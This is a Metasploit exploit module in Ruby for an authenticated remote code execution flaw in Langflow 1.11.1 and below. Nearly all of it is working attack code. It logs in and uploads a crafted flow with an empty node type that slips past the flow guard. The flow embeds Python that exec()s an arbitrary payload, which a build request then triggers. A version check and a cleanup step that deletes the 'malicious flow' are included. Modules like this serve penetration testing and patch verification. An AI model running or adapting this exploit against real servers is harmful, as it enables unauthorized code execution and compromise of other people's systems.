Langflow AI authenticated RCE

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow AI authenticated RCE',
        'Description' => %q{
          Langflow versions 1.11.1 and below are susceptible to authenticated
          remote code execution. By saving a flow where `data.type` is empty,
          an authenticated user can bypass the flow guard and execute
          arbitrary Python code.
        },
        'Author' => [
          'Richard Howe <rhowe425>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-19295'],
          ['URL', 'https://www.ibm.com/support/pages/node/7284733']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'RPORT' => 7860 },
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-08-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [true, 'Base path of the Langflow application', '/']
        ),
        OptString.new(
          'USERNAME',
          [true, 'Langflow login username', '']
        ),
        OptString.new(
          'PASSWORD',
          [true, 'Langflow login password', '']
        )
      ]
    )
  end

  def get_token(username, password)
    data = {
      'username' => username,
      'password' => password
    }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/login'),
      'vars_post' => data
    )

    return unless res&.code&.between?(200, 299)

    json = res.get_json_document
    return unless json.is_a?(Hash)

    json['access_token']
  end

  def create_flow
    comp = Rex::Text.rand_text_alpha(8)
    node_id = Rex::Text.rand_text_alpha(8)
    component_display_name = Rex::Text.rand_text_alpha(5)
    component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"

    output_display_name = Rex::Text.rand_text_alpha(5)
    output_name = Rex::Text.rand_text_alpha(5).downcase
    output_method = Rex::Text.rand_text_alpha(5).downcase

    injected_code = [
      'from langflow.custom import Component',
      'from langflow.io import Output',
      'from langflow.schema.data import Data',
      '_fired = [False]',
      "class #{component_name}(Component):",
      "    display_name='#{component_display_name}'",
      "    outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]",
      "    @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
      "    def #{output_method}(self) -> Data:",
      '        return Data(data={})'
    ].join("\n")

    crafted_flow = {
      'name' => Rex::Text.rand_text_alpha(10),
      'description' => Rex::Text.rand_text_alpha(10),
      'data' => {
        'nodes' => [
          {
            'id' => node_id,
            'type' => 'genericNode',
            'position' => {
              'x' => 0,
              'y' => 0
            },
            'data' => {
              'id' => node_id,
              'type' => '',
              'node' => {
                'template' => {
                  '_type' => 'Component',
                  'code' => {
                    'type' => 'code',
                    'required' => true,
                    'show' => true,
                    'multiline' => true,
                    'value' => injected_code,
                    'name' => 'code',
                    'password' => false,
                    'advanced' => false,
                    'dynamic' => false
                  }
                },
                'description' => comp,
                'base_classes' => ['Data'],
                'display_name' => comp,
                'name' => comp,
                'frozen' => false,
                'edited' => true,
                'outputs' => [
                  {
                    'types' => ['Data'],
                    'selected' => 'Data',
                    'name' => output_name,
                    'display_name' => output_display_name,
                    'method' => output_method,
                    'value' => '__UNDEFINED__',
                    'cache' => true,
                    'allows_loop' => false,
                    'tool_mode' => false,
                    'hidden' => nil,
                    'required_inputs' => nil,
                    'group_outputs' => false
                  }
                ],
                'field_order' => ['code'],
                'beta' => false
              }
            }
          }
        ],
        'edges' => []
      }
    }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
      'headers' => {
        'Content-Type' => 'application/json',
        'Authorization' => "Bearer #{@token}"
      },
      'data' => crafted_flow.to_json
    )

    unless res&.code&.between?(200, 299)
      fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.')
    end

    json = res.get_json_document
    return unless json.is_a?(Hash)

    json['id']
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/version')
    )

    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    doc = res.get_json_document

    version_str = doc.is_a?(Hash) ? doc['version'] : nil
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

    package = doc.is_a?(Hash) ? doc['package'] : nil
    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package

    unless package.to_s.downcase == 'langflow'
      return Exploit::CheckCode::Safe('Application is not Langflow.')
    end

    version = Rex::Version.new(version_str.to_s)

    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

    if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1'))
      return Exploit::CheckCode::Appears(
        "Version #{version} detected, which appears vulnerable."
      )
    end

    Exploit::CheckCode::Safe(
      "Version #{version} detected, which is not vulnerable."
    )
  end

  def cleanup
    super
    return if @flow_id.to_s.empty? || @token.to_s.empty?

    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(
        target_uri.path,
        "api/v1/flows/#{@flow_id}"
      ),
      'headers' => {
        'Authorization' => "Bearer #{@token}"
      }
    )

    if res&.code&.between?(200, 299)
      print_good("Deleted malicious flow #{@flow_id}.")
    else
      print_warning("Failed to delete malicious flow #{@flow_id}.")
    end
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    @token = get_token(username, password)

    if @token.to_s.empty?
      fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')
    end

    @flow_id = create_flow

    if @flow_id.to_s.empty?
      fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.')
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(
        target_uri.path,
        "api/v1/build/#{@flow_id}/flow"
      ),
      'headers' => {
        'Content-Type' => 'application/json',
        'Authorization' => "Bearer #{@token}"
      },
      'data' => {}.to_json
    )

    unless res&.code&.between?(200, 299)
      fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')
    end

    print_status('Payload sent successfully.')
  end
end